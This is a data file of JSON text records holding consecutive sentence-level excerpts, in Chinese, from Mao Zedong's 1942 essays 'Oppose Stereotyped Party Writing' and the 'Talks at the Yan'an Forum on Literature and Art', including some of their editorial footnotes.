    {"text": "我们反对主观主义和宗派主义，如果不连党八股也给以清算，那它们就还有一个藏身的地方，它们还可以躲起来。 如果我们连党八股也打倒了，那就算对于主观主义和宗派主义最后地“将一军” 〔3〕 ，弄得这两个怪物原形毕露，“老鼠过街，人人喊打”，这两个怪物也就容易消灭了。"},
    {"text": "这样看来，“五四”时期的生动活泼的、前进的、革命的、反对封建主义的老八股、老教条的运动，后来被一些人发展到了它的反对方面，产生了新八股、新教条。"},
    {"text": "但在共产党内也不是一致的，其中也有一部分人发生偏向，马克思主义没有拿得稳，犯了形式主义的错误，这就是主观主义、宗派主义和党八股，这是形式主义向“左”的发展。 这样看来，党八股这种东西，一方面是五四运动的积极因素的反动，一方面也是五四运动的消极因素的继承、继续或发展，并不是偶然的东西。"},
    {"text": "如果“五四”时期反对老八股和老教条主义是革命的和必需的，那末，今天我们用马克思主义来批判新八股和新教条主义也是革命的和必需的。 如果“五四”时期不反对老八股和老教条主义，中国人民的思想就不能从老八股和老教条主义的束缚下面获得解放，中国就不会有自由独立的希望。 这个工作，五四运动时期还不过是一个开端，要使全国人民完全脱离老八股和老教条主义的统治，还须费很大的气力，还是今后革命改造路上的一个大工程。"},
    {"text": "至于我们党内一部分（当然只是一部分）同志所中的党八股的毒，所犯的教条主义的错误，如果不除去，那末，生动活泼的革命精神就不能启发，拿不正确态度对待马克思主义的恶习就不能肃清，真正的马克思主义就不能得到广泛的传播和发展；"},
    {"text": "而对于老八股和老教条在全国人民中间的影响，以及洋八股和洋教条在全国许多人中间的影响，也就不能进行有力的斗争，也就达不到加以摧毁廓清的目的。"},
    {"text": "中国是一个小资产阶级成分极其广大的国家，我们党是处在这个广大阶级的包围中，我们又有很大数量的党员是出身于这个阶级的，他们都不免或长或短地拖着一条小资产阶级的尾巴进党来。"},
    {"text": "小资产阶级革命分子的狂热性和片面性，如果不加以节制，不加以改造，就很容易产生主观主义、宗派主义，它的一种表现形式就是洋八股，或党八股。"},
    {"text": "对于这种人，毫无疑义地是应该采用残酷斗争或无情打击的手段的，因为那些坏人正在利用这种手段对付党，我们如果还对他们宽容，那就会正中坏人的奸计。"},
    {"text": "因为这种吓人战术，对敌人是毫无用处，对同志只有损害。 这种吓人战术，是剥削阶级以及流氓无产者所惯用的手段，无产阶级不需要这类手段。"},
    {"text": "共产党员如果真想做宣传，就要看对象，就要想一想自己的文章、演说、谈话、写字是给什么人看、给什么人听的，否则就等于下决心不要人看，不要人听。 许多人常常以为自己写的讲的人家都看得很懂，听得很懂，其实完全不是那么一回事，因为他写的和讲的是党八股，人家哪里会懂呢？"},
    {"text": "如果一篇文章，一个演说，颠来倒去，总是那几个名词，一套“学生腔”，没有一点生动活泼的语言，这岂不是语言无味，面目可憎，像个瘪三吗？"},
    {"text": "为什么语言要学，并且要用很大的气力去学呢？ 因为语言这东西，不是随便可以学好的，非下苦功不可。 第一，要向人民群众学习语言。 人民的语汇是很丰富的，生动活泼的，表现实际生活的。"},
    {"text": "我们很多人没有学好语言，所以我们在写文章做演说时没有几句生动活泼切实有力的话，只有死板板的几条筋，像瘪三一样，瘦得难看，不像一个健康的人。"},
    {"text": "第二，要从外国语言中吸收我们所需要的成分。 我们不是硬搬或滥用外国语言，是要吸收外国语言中的好东西，于我们适用的东西。 因为中国原有语汇不够用，现在我们的语汇中就有很多是从外国吸收来的。 例如今天开的干部大会，这“干部”两个字，就是从外国学来的。 我们还要多多吸收外国的新鲜东西，不但要吸收他们的进步道理，而且要吸收他们的新鲜用语。"},
    {"text": "现在中党八股毒太深的人，对于民间的、外国的、古人的语言中有用的东西，不肯下苦功去学，因此，群众就不欢迎他们枯燥无味的宣传，我们也不需要这样蹩脚的不中用的宣传家。"},
    {"text": "写文章，做演说，著书，写报告，第一是大壹贰叁肆，第二是小一二三四，第三是甲乙丙丁，第四是子丑寅卯，还有大ABCD ，小abcd ，还有阿拉伯数字，多得很！"},
    {"text": "一篇文章充满了这些符号，不提出问题，不分析问题，不解决问题，不表示赞成什么，反对什么，说来说去还是一个中药铺，没有什么真切的内容。"},
    {"text": "这种方法就是形式主义的方法，是按照事物的外部标志来分类，不是按照事物的内部联系来分类的。 单单按照事物的外部标志，使用一大堆互相没有内部联系的概念，排列成一篇文章、一篇演说或一个报告，这种办法，他自己是在做概念的游戏，也会引导人家都做这类游戏，使人不用脑筋想问题，不去思考事物的本质，而满足于甲乙丙丁的现象罗列。"},
    {"text": "问题就是事物的矛盾。 哪里有没有解决的矛盾，哪里就有问题。 既有问题，你总得赞成一方面，反对另一方面，你就得把问题提出来。 提出问题，首先就要对于问题即矛盾的两个基本方面加以大略的调查和研究，才能懂得矛盾的性质是什么，这就是发现问题的过程。"},
    {"text": "要解决问题，还须作系统的周密的调查工作和研究工作，这就是分析的过程。 提出问题也要用分析，不然，对着模糊杂乱的一大堆事物的现象，你就不能知道问题即矛盾的所在。 这里所讲的分析过程，是指系统的周密的分析过程。 常常问题是提出了，但还不能解决，就是因为还没有暴露事物的内部联系，就是因为还没有经过这种系统的周密的分析过程，因而问题的面貌还不明晰，还不能做综合工作，也就不能好好地解决问题。 一篇文章或一篇演说，如果是重要的带指导性质的，总得要提出一个什么问题，接着加以分析，然后综合起来，指明问题的性质，给以解决的办法，这样，就不是形式主义的方法所能济事。 因为这种幼稚的、低级的、庸俗的、不用脑筋的形式主义的方法，在我们党内很流行，所以必须揭破它，才能使大家学会应用马克思主义的方法去观察问题、提出问题、分析问题和解决问题，我们所办的事才能办好，我们的革命事业才能胜利。"},
    {"text": "拿洗脸作比方，我们每天都要洗脸，许多人并且不止洗一次，洗完之后还要拿镜子照一照，要调查研究一番，（大笑）生怕有什么不妥当的地方。"},
    {"text": "这就是说，党八股如不改革，如果听其发展下去，其结果之严重，可以闹到很坏的地步。 党八股里面藏的是主观主义、宗派主义的毒物，这个毒物传播出去，是要害党害国的。"},
    {"text": "在会场上做起“报告”来，则常常就是“一国际，二国内，三边区，四本部”，会是常常从早上开到晚上，没有话讲的人也要讲一顿，不讲好像对人不起。"},
    {"text": "有些人则连“少许”还没有实行，却在那里提倡“化”呢！ 所以我劝这些同志先办“少许”，再去办“化”，不然，仍旧脱离不了教条主义和党八股，这叫做眼高手低，志大才疏，没有结果的。"},
    {"text": "如果是不但口头上提倡提倡而且自己真想实行大众化的人，那就要实地跟老百姓去学，否则仍然“化”不了的。 有些天天喊大众化的人，连三句老百姓的话都讲不来，可见他就没有下过决心跟老百姓学，实在他的意思仍是小众化。"},
    {"text": "第一篇，是从《苏联共产党（布）历史简要读本》上摘下来的，讲的是列宁怎样做宣传。 其中讲到列宁写传单的情形：“在列宁领导下，彼得堡‘工人阶级解放斗争协会’第一次在俄国开始把社会主义与工人运动结合起来。"},
    {"text": "当某一个工厂里爆发罢工时，‘斗争协会’因为经过自己小组中的参加者而很熟悉各企业中的情形，立刻就印发传单、印发社会主义的宣言来响应。"},
    {"text": "在这些传单里，揭露出厂主虐待工人的事实，说明工人应如何为自身的利益而奋斗，载明工人群众的要求。 这些传单把资本主义机体上的痈疽，工人的穷困生活，工人每日由十二小时至十四小时的过度沉重的劳动，工人之毫无权利等等真情实况，都揭露无余。"},
    {"text": "他说：“应当学会不用书本上的公式而用为群众事业而奋斗的战士们的语言来和群众讲话，这些战士们的每一句话，每一个思想，都反映出千百万群众的思想和情绪。"},
    {"text": "” “如果我们没有学会说群众懂得的话，那末广大群众是不能领会我们的决议的。 我们远不是随时都善于简单地、具体地、用群众所熟悉和懂得的形象来讲话。"},
    {"text": "事实上，你们只要瞧一瞧我们的传单、报纸、决议和提纲，就可以看到：这些东西常常是用这样的语言写成的，写得这样地艰深，甚至于我们党的干部都难于懂得，更用不着说普通工人了。"},
    {"text": "“我们每一个人，都应当切实领会下面这条起码的规则，把它当作定律，当作布尔什维克的定律：当你写东西或讲话的时候，始终要想到使每个普通工人都懂得，都相信你的号召，都决心跟着你走。"},
    {"text": "第一条：“留心各样的事情，多看看，不看到一点就写。 ” 讲的是“留心各样的事情”，不是一样半样的事情。 讲的是“多看看”，不是只看一眼半眼。"},
    {"text": "希望同志们把我所讲的加以考虑，加以分析，同时也分析各人自己的情况。 每个人应该把自己好好地想一想，并且把自己想清楚了的东西，跟知心的朋友们商量一下，跟周围的同志们商量一下，把自己的毛病切实改掉。"},
    {"text": "〔3〕 “将一军”是中国象棋中的术语。 中国象棋采取两军对战的形式，而以一方攻入对方堡垒捉住“将军”（主帅）作为赢棋。 凡是一方走了一着棋，使对方的将军有立即被捉的危险时，就叫做向对方“将军”。"},
    {"text": "一来是考官嫌麻烦——他们的头脑大半是阴沉木做的，——什么代圣贤立言，什么起承转合，文章气韵，都没有一定的标准，难以捉摸，因此，一股一股地定出来，算是合于功令的格式，用这格式来‘衡文’，一眼就看得出多少轻重。"},
    {"text": "鲁迅在《透底》附录“回祝秀侠信”中批判这种洋八股说：“八股无论新旧，都在扫荡之列，……例如只会‘辱骂’‘恐吓’甚至于‘判决’，而不肯具体地切实地运用科学所求得的公式，去解释每天的新的事实，新的现象，而只抄一通公式，往一切事实上乱凑，这也是一种八股。"},
    {"text": "（《鲁迅全集》第4卷，人民文学出版社1981年版，第451页） 〔8〕 解放以前，上海人称城市中无正当职业而以乞讨为生的游民为瘪三，他们通常是极瘦的。"},
    {"text": "〔11〕 以上三段引文见季米特洛夫一九三五年八月十三日在共产国际第七次代表大会上所作的结论《为工人阶级团结一致反对法西斯主义而斗争》的序言和第六部分《仅仅只有正确的路线还是不够的》。"},
    {"text": "在延安文艺座谈会上的讲话 在延安文艺座谈会上的讲话 （一九四二年五月） 引言 （一九四二年五月二日） 同志们！ 今天邀集大家来开座谈会，目的是要和大家交换意见，研究文艺工作和一般革命工作的关系，求得革命文艺的正确发展，求得革命文艺对其他革命工作的更好的协助，借以打倒我们民族的敌人，完成民族解放的任务。"},
    {"text": "“五四” 〔1〕 以来，这支文化军队就在中国形成，帮助了中国革命，使中国的封建文化和适应帝国主义侵略的买办文化的地盘逐渐缩小，其力量逐渐削弱。"},
    {"text": "到了现在，中国反动派只能提出所谓“以数量对质量”的办法来和新文化对抗，就是说，反动派有的是钱，虽然拿不出好东西，但是可以拚命出得多。"},
    {"text": "这个运动和当时的革命战争，在总的方向上是一致的，但在实际工作上却没有互相结合起来，这是因为当时的反动派把这两支兄弟军队从中隔断了的缘故。"},
    {"text": "我们今天开会，就是要使文艺很好地成为整个革命机器的一个组成部分，作为团结人民、教育人民、打击敌人、消灭敌人的有力的武器，帮助人民同心同德地和敌人作斗争。"},
    {"text": "对于敌人，对于日本帝国主义和一切人民的敌人，革命文艺工作者的任务是在暴露他们的残暴和欺骗，并指出他们必然要失败的趋势，鼓励抗日军民同心同德，坚决地打倒他们。"},
    {"text": "各种干部，部队的战士，工厂的工人，农村的农民，他们识了字，就要看书、看报，不识字的，也要看戏、看画、唱歌、听音乐，他们就是我们文艺作品的接受者。"},
    {"text": "而为要了解他们，熟悉他们，为要在党政机关，在农村，在工厂，在八路军新四军里面，了解各种人，熟悉各种人，了解各种事情，熟悉各种事情，就需要做很多的工作。"},
    {"text": "文艺工作者同自己的描写对象和作品接受者不熟，或者简直生疏得很。 我们的文艺工作者不熟悉工人，不熟悉农民，不熟悉士兵，也不熟悉他们的干部。"},
    {"text": "语言不懂，就是说，对于人民群众的丰富的生动的语言，缺乏充分的知识。 许多文艺工作者由于自己脱离群众、生活空虚，当然也就不熟悉人民的语言，因此他们的作品不但显得语言无味，而且里面常常夹着一些生造出来的和人民的语言相对立的不三不四的词句。"},
    {"text": "我是个学生出身的人，在学校养成了一种学生习惯，在一大群肩不能挑手不能提的学生面前做一点劳动的事，比如自己挑行李吧，也觉得不像样子。"},
    {"text": "这时，拿未曾改造的知识分子和工人农民比较，就觉得知识分子不干净了，最干净的还是工人农民，尽管他们手是黑的，脚上有牛屎，还是比资产阶级和小资产阶级知识分子都干净。"},
    {"text": "就说爱吧，在阶级社会里，也只有阶级的爱，但是这些同志却要追求什么超阶级的爱，抽象的爱，以及抽象的自由、抽象的真理、抽象的人性等等。"},
    {"text": "文艺工作者应该学习文艺创作，这是对的，但是马克思列宁主义是一切革命者都应该学习的科学，文艺工作者不能是例外。 文艺工作者要学习社会，这就是说，要研究社会上的各个阶级，研究它们的相互关系和各自状况，研究它们的面貌和它们的心理。"},
    {"text": "如果我们按照教科书，找到什么是文学、什么是艺术的定义，然后按照它们来规定今天文艺运动的方针，来评判今天所发生的各种见解和争论，这种方法是不正确的。"},
    {"text": "我们是马克思主义者，马克思主义叫我们看问题不要从抽象的定义出发，而要从客观存在的事实出发，从分析这些事实中找出方针、政策、办法来。"},
    {"text": "不解决这两个问题，或这两个问题解决得不适当，就会使得我们的文艺工作者和自己的环境、任务不协调，就使得我们的文艺工作者从外部从内部碰到一连串的问题。"},
    {"text": "因此，在他们的情绪中，在他们的作品中，在他们的行动中，在他们对于文艺方针问题的意见中，就不免或多或少地发生和群众的需要不相符合，和实际斗争的需要不相符合的情形。"},
    {"text": "当然，现在和共产党、八路军、新四军在一起从事于伟大解放斗争的大批的文化人、文学家、艺术家以及一般文艺工作者，虽然其中也可能有些人是暂时的投机分子，但是绝大多数却都是在为着共同事业努力工作着。"},
    {"text": "这些文艺工作者，有许多是抗战以后开始工作的； 有许多在抗战以前就做了多时的革命工作，经历过许多辛苦，并用他们的工作和作品影响了广大群众的。"},
    {"text": "像鲁迅所批评的梁实秋 〔3〕 一类人，他们虽然在口头上提出什么文艺是超阶级的，但是他们在实际上是主张资产阶级的文艺，反对无产阶级的文艺的。"},
    {"text": "对于中国和外国过去时代所遗留下来的丰富的文学艺术遗产和优良的文学艺术传统，我们是要继承的，但是目的仍然是为了人民大众。 对于过去时代的文艺形式，我们也并不拒绝利用，但这些旧形式到了我们手里，给了改造，加进了新内容，也就变成革命的为人民服务的东西了。"},
    {"text": "在今天，坚持个人主义的小资产阶级立场的作家是不可能真正地为革命的工农兵群众服务的，他们的兴趣，主要是放在少数小资产阶级知识分子上面。"},
    {"text": "有许多同志比较地注重研究小资产阶级知识分子，分析他们的心理，着重地去表现他们，原谅并辩护他们的缺点，而不是引导他们和自己一道去接近工农兵群众，去参加工农兵群众的实际斗争，去表现工农兵群众，去教育工农兵群众。 有许多同志，因为他们自己是从小资产阶级出身，自己是知识分子，于是就只在知识分子的队伍中找朋友，把自己的注意力放在研究和描写知识分子上面。"},
    {"text": "他们在某些方面也爱工农兵，也爱工农兵出身的干部，但有些时候不爱，有些地方不爱，不爱他们的感情，不爱他们的姿态，不爱他们的萌芽状态的文艺（墙报、壁画、民歌、民间故事等）。"},
    {"text": "我们的文艺工作者一定要完成这个任务，一定要把立足点移过来，一定要在深入工农兵群众、深入实际斗争的过程中，在学习马克思主义和学习社会的过程中，逐渐地移过来，移到工农兵这方面来，移到无产阶级这方面来。"},
    {"text": "比如说文艺界的宗派主义吧，这也是原则问题，但是要去掉宗派主义，也只有把为工农，为八路军、新四军，到群众中去的口号提出来，并加以切实的实行，才能达到目的，否则宗派主义问题是断然不能解决的。"},
    {"text": "我们说的马克思主义，是要在群众生活群众斗争里实际发生作用的活的马克思主义，不是口头上的马克思主义。 把口头上的马克思主义变成为实际生活里的马克思主义，就不会有宗派主义了。"},
    {"text": "用同志们的话来说，就是：努力于提高呢，还是努力于普及呢？ 有些同志，在过去，是相当地或是严重地轻视了和忽视了普及，他们不适当地太强调了提高。 提高是应该强调的，但是片面地孤立地强调提高，强调到不适当的程度，那就错了。"},
    {"text": "用封建地主阶级所需要、所便于接受的东西吗？ 用资产阶级所需要、所便于接受的东西吗？ 用小资产阶级知识分子所需要、所便于接受的东西吗？"},
    {"text": "都不是，只能是从工农兵群众的基础上去提高。 也不是把工农兵提到封建阶级、资产阶级、小资产阶级知识分子的“高度”去，而是沿着工农兵自己前进的方向去提高，沿着无产阶级前进的方向去提高。 而这里也就提出了学习工农兵的任务。 只有从工农兵出发，我们对于普及和提高才能有正确的了解，也才能找到普及和提高的正确关系。"},
    {"text": "作为观念形态的文艺作品，都是一定的社会生活在人类头脑中的反映的产物。 革命的文艺，则是人民生活在革命作家头脑中的反映的产物。 人民生活中本来存在着文学艺术原料的矿藏，这是自然形态的东西，是粗糙的东西，但也是最生动、最丰富、最基本的东西；"},
    {"text": "有人说，书本上的文艺作品，古代的和外国的文艺作品，不也是源泉吗？ 实际上，过去的文艺作品不是源而是流，是古人和外国人根据他们彼时彼地所得到的人民生活中的文学艺术原料创造出来的东西。"},
    {"text": "我们必须继承一切优秀的文学艺术遗产，批判地吸收其中一切有益的东西，作为我们从此时此地的人民生活中的文学艺术原料创造作品时候的借鉴。"},
    {"text": "所以我们决不可拒绝继承和借鉴古人和外国人，哪怕是封建阶级和资产阶级的东西。 但是继承和借鉴决不可以变成替代自己的创造，这是决不能替代的。"},
    {"text": "中国的革命的文学家艺术家，有出息的文学家艺术家，必须到群众中去，必须长期地无条件地全心全意地到工农兵群众中去，到火热的斗争中去，到唯一的最广大最丰富的源泉中去，观察、体验、研究、分析一切人，一切阶级，一切群众，一切生动的生活形式和斗争形式，一切文学和艺术的原始材料，然后才有可能进入创作过程。"},
    {"text": "因为虽然两者都是美，但是文艺作品中反映出来的生活却可以而且应该比普通的实际生活更高，更强烈，更有集中性，更典型，更理想，因此就更带普遍性。"},
    {"text": "文艺就把这种日常的现象集中起来，把其中的矛盾和斗争典型化，造成文学作品或艺术作品，就能使人民群众惊醒起来，感奋起来，推动人民群众走向团结和斗争，实行改造自己的环境。"},
    {"text": "现在工农兵面前的问题，是他们正在和敌人作残酷的流血斗争，而他们由于长时期的封建阶级和资产阶级的统治，不识字，无文化，所以他们迫切要求一个普遍的启蒙运动，迫切要求得到他们所急需的和容易接受的文化知识和文艺作品，去提高他们的斗争热情和胜利信心，加强他们的团结，便于他们同心同德地去和敌人作斗争。"},
    {"text": "普及工作若是永远停止在一个水平上，一月两月三月，一年两年三年，总是一样的货色，一样的“小放牛” 〔7〕 ，一样的“人、手、口、刀、牛、羊” 〔8〕 ，那末，教育者和被教育者岂不都是半斤八两？"},
    {"text": "人民要求普及，跟着也就要求提高，要求逐年逐月地提高。 在这里，普及是人民的普及，提高也是人民的提高。 而这种提高，不是从空中提高，不是关门提高，而是在普及基础上的提高。 这种提高，为普及所决定，同时又给普及以指导。"},
    {"text": "一处普及了，并且在普及的基础上提高了，别处还没有开始普及。 因此一处由普及而提高的好经验可以应用于别处，使别处的普及工作和提高工作得到指导，少走许多弯路。"},
    {"text": "所以，我们的提高，是在普及基础上的提高； 我们的普及，是在提高指导下的普及。 正因为这样，我们所说的普及工作不但不是妨碍提高，而且是给目前的范围有限的提高工作以基础，也是给将来的范围大为广阔的提高工作准备必要的条件。"},
    {"text": "如果违背了这个目的，如果我们给予干部的并不能帮助干部去教育群众、指导群众，那末，我们的提高工作就是无的放矢，就是离开了为人民大众的根本原则。"},
    {"text": "总起来说，人民生活中的文学艺术的原料，经过革命作家的创造性的劳动而形成观念形态上的为人民大众的文学艺术。 在这中间，既有从初级的文艺基础上发展起来的、为被提高了的群众所需要、或首先为群众中的干部所需要的高级的文艺，又有反转来在这种高级的文艺指导之下的、往往为今日最广大群众所最先需要的初级的文艺。 无论高级的或初级的，我们的文学艺术都是为人民大众的，首先是为工农兵的，为工农兵而创作，为工农兵所利用的。"},
    {"text": "我们的文学专门家应该注意群众的墙报，注意军队和农村中的通讯文学。 我们的戏剧专门家应该注意军队和农村中的小剧团。 我们的音乐专门家应该注意群众的歌唱。 我们的美术专门家应该注意群众的美术。"},
    {"text": "一切这些同志都应该和在群众中做文艺普及工作的同志们发生密切的联系，一方面帮助他们，指导他们，一方面又向他们学习，从他们吸收由群众中来的养料，把自己充实起来，丰富起来，使自己的专门不致成为脱离群众、脱离实际、毫无内容、毫无生气的空中楼阁。"},
    {"text": "但是我们应该告诉他们说，一切革命的文学家艺术家只有联系群众，表现群众，把自己当作群众的忠实的代言人，他们的工作才有意义。 只有代表群众才能教育群众，只有做群众的学生才能做群众的先生。"},
    {"text": "如果把自己看作群众的主人，看作高踞于“下等人”头上的贵族，那末，不管他们有多大的才能，也是群众所不需要的，他们的工作是没有前途的。"},
    {"text": "唯物主义者并不一般地反对功利主义，但是反对封建阶级的、资产阶级的、小资产阶级的功利主义，反对那种口头上反对功利主义、实际上抱着最自私最短视的功利主义的伪善者。"},
    {"text": "我们是无产阶级的革命的功利主义者，我们是以占全人口百分之九十以上的最广大群众的目前利益和将来利益的统一为出发点的，所以我们是以最广和最远为目标的革命的功利主义者，而不是只看到局部和目前的狭隘的功利主义者。"},
    {"text": "例如，某种作品，只为少数人所偏爱，而为多数人所不需要，甚至对多数人有害，硬要拿来上市，拿来向群众宣传，以求其个人的或狭隘集团的功利，还要责备群众的功利主义，这就不但侮辱群众，也太无自知之明了。"},
    {"text": "就算你的是“阳春白雪”吧，这暂时既然是少数人享用的东西，群众还是在那里唱“下里巴人” 〔9〕 ，那末，你不去提高它，只顾骂人，那就怎样骂也是空的。 现在是“阳春白雪”和“下里巴人”统一的问题，是提高和普及统一的问题。"},
    {"text": "如果大家同意这个基本方针，则我们的文学艺术工作者，我们的文学艺术学校，文学艺术刊物，文学艺术团体和一切文学艺术活动，就应该依照这个方针去做。"},
    {"text": "三 我们的文艺既然是为人民大众的，那末，我们就可以进而讨论一个党内关系问题，党的文艺工作和党的整个工作的关系问题，和另一个党外关系的问题，党的文艺工作和非党的文艺工作的关系问题——文艺界统一战线问题。"},
    {"text": "革命文艺是整个革命事业的一部分，是齿轮和螺丝钉，和别的更重要的部分比较起来，自然有轻重缓急第一第二之分，但它是对于整个机器不可缺少的齿轮和螺丝钉，对于整个革命事业不可缺少的一部分。"},
    {"text": "还有，我们所说的文艺服从于政治，这政治是指阶级的政治、群众的政治，不是所谓少数政治家的政治。 政治，不论革命的和反革命的，都是阶级对阶级的斗争，不是少数个人的行为。 革命的思想斗争和艺术斗争，必须服从于政治的斗争，因为只有经过政治，阶级和群众的需要才能集中地表现出来。"},
    {"text": "革命的政治家们，懂得革命的政治科学或政治艺术的政治专门家们，他们只是千千万万的群众政治家的领袖，他们的任务在于把群众政治家的意见集中起来，加以提炼，再使之回到群众中去，为群众所接受，所实践，而不是闭门造车，自作聪明，只此一家，别无分店的那种贵族式的所谓“政治家”，——这是无产阶级政治家同腐朽了的资产阶级政治家的原则区别。"},
    {"text": "文艺服从于政治，今天中国政治的第一个根本问题是抗日，因此党的文艺工作者首先应该在抗日这一点上和党外的一切文学家艺术家（从党的同情分子、小资产阶级的文艺家到一切赞成抗日的资产阶级地主阶级的文艺家）团结起来。"},
    {"text": "在一个问题上有团结，在另一个问题上就有斗争，有批评。 各个问题是彼此分开而又联系着的，因而就在产生团结的问题比如抗日的问题上也同时有斗争，有批评。 在一个统一战线里面，只有团结而无斗争，或者只有斗争而无团结，实行如过去某些同志所实行过的右倾的投降主义、尾巴主义，或者“左”倾的排外主义、宗派主义，都是错误的政策。"},
    {"text": "按照政治标准来说，一切利于抗日和团结的，鼓励群众同心同德的，反对倒退、促成进步的东西，便都是好的； 而一切不利于抗日和团结的，鼓动群众离心离德的，反对进步、拉着人们倒退的东西，便都是坏的。"},
    {"text": "为大众的动机和被大众欢迎的效果，是分不开的，必须使二者统一起来。 为个人的和狭隘集团的动机是不好的，有为大众的动机但无被大众欢迎、对大众有益的效果，也是不好的。"},
    {"text": "检验一个作家的主观愿望即其动机是否正确，是否善良，不是看他的宣言，而是看他的行为（主要是作品）在社会大众中产生的效果。 社会实践及其效果是检验主观愿望或动机的标准。"},
    {"text": "但是按照艺术科学的标准给以正确的批判，使较低级的艺术逐渐提高成为较高级的艺术，使不适合广大群众斗争要求的艺术改变到适合广大群众斗争要求的艺术，也是完全必要的。"},
    {"text": "我们不但否认抽象的绝对不变的政治标准，也否认抽象的绝对不变的艺术标准，各个阶级社会中的各个阶级都有不同的政治标准和不同的艺术标准。"},
    {"text": "我们主张无产阶级的人性，人民大众的人性，而地主阶级资产阶级则主张地主阶级资产阶级的人性，不过他们口头上不这样说，却说成为唯一的人性。 有些小资产阶级知识分子所鼓吹的人性，也是脱离人民大众或者反对人民大众的，他们的所谓人性实质上不过是资产阶级的个人主义，因此在他们眼中，无产阶级的人性就不合于人性。"},
    {"text": "过去的一切统治阶级喜欢提倡这个东西，许多所谓圣人贤人也喜欢提倡这个东西，但是无论谁都没有真正实行过，因为它在阶级社会里是不可能实行的。"},
    {"text": "真正的人类之爱是会有的，那是在全世界消灭了阶级之后。 阶级使社会分化为许多对立体，阶级消灭后，那时就有了整个的人类之爱，但是现在还没有。"},
    {"text": "我们也需要尖锐地嘲笑法西斯主义、中国的反动派和一切危害人民的事物，但在给革命文艺家以充分民主自由、仅仅不给反革命分子以民主自由的陕甘宁边区和敌后的各抗日根据地，杂文形式就不应该简单地和鲁迅的一样。"},
    {"text": "如果不是对于人民的敌人，而是对于人民自己，那末，“杂文时代”的鲁迅，也不曾嘲笑和攻击革命人民和革命政党，杂文的写法也和对于敌人的完全两样。"},
    {"text": "”你是资产阶级文艺家，你就不歌颂无产阶级而歌颂资产阶级； 你是无产阶级文艺家，你就不歌颂资产阶级而歌颂无产阶级和劳动人民：二者必居其一。"},
    {"text": "歌颂资产阶级光明者其作品未必伟大，刻画资产阶级黑暗者其作品未必渺小，歌颂无产阶级光明者其作品未必不伟大，刻画无产阶级所谓“黑暗”者其作品必定渺小，这难道不是文艺史上的事实吗？"},
    {"text": "也有这样的一种人，他们对于人民的事业并无热情，对于无产阶级及其先锋队的战斗和胜利，抱着冷眼旁观的态度，他们所感到兴趣而要不疲倦地歌颂的只有他自己，或者加上他所经营的小集团里的几个角色。"},
    {"text": "只有这种立场，才是正确的立场。 同时也只有在这种严肃的负责的实践过程中，才能一步一步地懂得正确的立场是什么东西，才能一步一步地掌握正确的立场。"},
    {"text": "“提倡学习马克思主义就是重复辩证唯物论的创作方法的错误，就要妨害创作情绪。 ”学习马克思主义，是要我们用辩证唯物论和历史唯物论的观点去观察世界，观察社会，观察文学艺术，并不是要我们在文学艺术作品中写哲学讲义。"},
    {"text": "要破坏的，它决定地要破坏那些封建的、资产阶级的、小资产阶级的、自由主义的、个人主义的、虚无主义的、为艺术而艺术的、贵族式的、颓废的、悲观的以及其他种种非人民大众非无产阶级的创作情绪。"},
    {"text": "说明这样一个事实，就是文艺界中还严重地存在着作风不正的东西，同志们中间还有很多的唯心论、教条主义、空想、空谈、轻视实践、脱离群众等等的缺点，需要有一个切实的严肃的整风运动。"},
    {"text": "因此我们的党，我们的队伍，虽然其中的大部分是纯洁的，但是为要领导革命运动更好地发展，更快地完成，就必须从思想上组织上认真地整顿一番。 而为要从组织上整顿，首先需要在思想上整顿，需要展开一个无产阶级对非无产阶级的思想斗争。"},
    {"text": "小资产阶级出身的人们总是经过种种方法，也经过文学艺术的方法，顽强地表现他们自己，宣传他们自己的主张，要求人们按照小资产阶级知识分子的面貌来改造党，改造世界。"},
    {"text": "在这种情形下，我们的工作，就是要向他们大喝一声，说：“同志”们，你们那一套是不行的，无产阶级是不能迁就你们的，依了你们，实际上就是依了大地主大资产阶级，就有亡党亡国的危险。"},
    {"text": "我们希望文艺界的同志们认识这一场大论战的严重性，积极起来参加这个斗争，使每个同志都健全起来，使我们的整个队伍在思想上和组织上都真正统一起来，巩固起来。"},
    {"text": "如果同志们在新的群众中间，还是像我上次说的“不熟，不懂，英雄无用武之地”，那末，不但下乡要发生困难，不下乡，就在延安，也要发生困难的。"},
    {"text": "“大后方”也是要变的，“大后方”的读者，不需要从革命根据地的作家听那些早已听厌了的老故事，他们希望革命根据地的作家告诉他们新的人物，新的世界。"},
    {"text": "法捷耶夫的《毁灭》 〔13〕 ，只写了一支很小的游击队，它并没有想去投合旧世界读者的口味，但是却产生了全世界的影响，至少在中国，像大家所知道的，产生了很大的影响。"},
    {"text": "我相信，同志们在整风过程中间，在今后长期的学习和工作中间，一定能够改造自己和自己作品的面貌，一定能够创造出许多为人民大众所热烈欢迎的优秀的作品，一定能够把革命根据地的文艺运动和全中国的文艺运动推进到一个光辉的新阶段。"},
    {"text": "列宁在这篇论文中说：“这将是自由的写作，因为把一批又一批新生力量吸引到写作队伍中来的，不是私利贪欲，也不是名誉地位，而是社会主义思想和对劳动人民的同情。 这将是自由的写作，因为它不是为饱食终日的贵妇人服务，不是为百无聊赖、胖得发愁的‘一万个上层分子’服务，而是为千千万万劳动人民，为这些国家的精华、国家的力量、国家的未来服务。 这将是自由的写作，它要用社会主义无产阶级的经验和生气勃勃的工作去丰富人类革命思想的最新成就，它要使过去的经验（从原始空想的社会主义发展而成的科学社会主义）和现在的经验（工人同志们当前的斗争）之间经常发生相互作用。"},
    {"text": "〔5〕 见鲁迅《二心集·对于左翼作家联盟的意见》（《鲁迅全集》第4卷，人民文学出版社1981年版，第237—238页）。 〔6〕 参见鲁迅《且介亭杂文末编·附集·死》（《鲁迅全集》第6卷，人民文学出版社1981年版，第612页）。"},
    {"text": "列宁在这篇论文中说：“写作事业应当成为整个无产阶级事业的一部分，成为由整个工人阶级的整个觉悟的先锋队所开动的一部巨大的社会民主主义机器的‘齿轮和螺丝钉’。"},
    {"text": "”（《列宁全集》第12卷，人民出版社1987年版，第93页） 〔11〕 亭子间是上海里弄房子中的一种小房间，位置在房子后部的楼梯中侧，狭小黑暗，因此租金比较低廉。"},
    {"text": "他所作的小说《毁灭》于一九二七年出版，内容是描写苏联国内战争时期由苏联远东滨海边区工人、农民和革命知识分子所组成的一支游击队同国内反革命白卫军以及日本武装干涉军进行斗争的故事。"},
    {"text": "一个极其重要的政策 一个极其重要的政策 * （一九四二年九月七日） 自从党中央提出精兵简政 〔1〕 这个政策以来，许多抗日根据地的党，都依照中央的指示，筹划和进行了这项工作。"},
